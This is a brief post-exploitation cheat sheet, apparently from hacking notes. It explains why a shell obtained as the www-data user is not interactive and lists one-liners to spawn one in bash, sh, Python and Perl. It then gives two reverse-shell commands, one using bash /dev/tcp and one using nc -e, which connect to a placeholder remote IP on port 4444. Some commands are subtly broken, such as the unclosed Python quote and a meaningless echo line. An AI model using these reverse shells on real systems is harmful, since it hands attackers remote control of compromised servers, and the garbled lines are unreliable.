Yeah shells are pretty important. Often times when you manage to get into a server you probably wont have an interactive shell. This is because you generally gain access as the www-data user. This is a system user that doesn’t interact with a shell like you and I. So you’ll need to spawn one.

Bash ~~~ /bin/bash -i ~~~

sh ~~~ /bin/sh -i ~~~

Python ~~~ python3 -c ‘import pty; pty.spawn(“/bin/sh)’ ~~~

Perl ~~~ perl -e ‘exec “/bin/bash”;’ ~~~

Echo ~~~ echo ‘os.system(’/bin/bash’)’ ~~~

TCP Reverse Remote

"bash -i >& /dev/tcp/{remote ip address}/4444 0>&1"

Netcat Reverse Shell

nc -e /bin/sh {remote ip address} 4444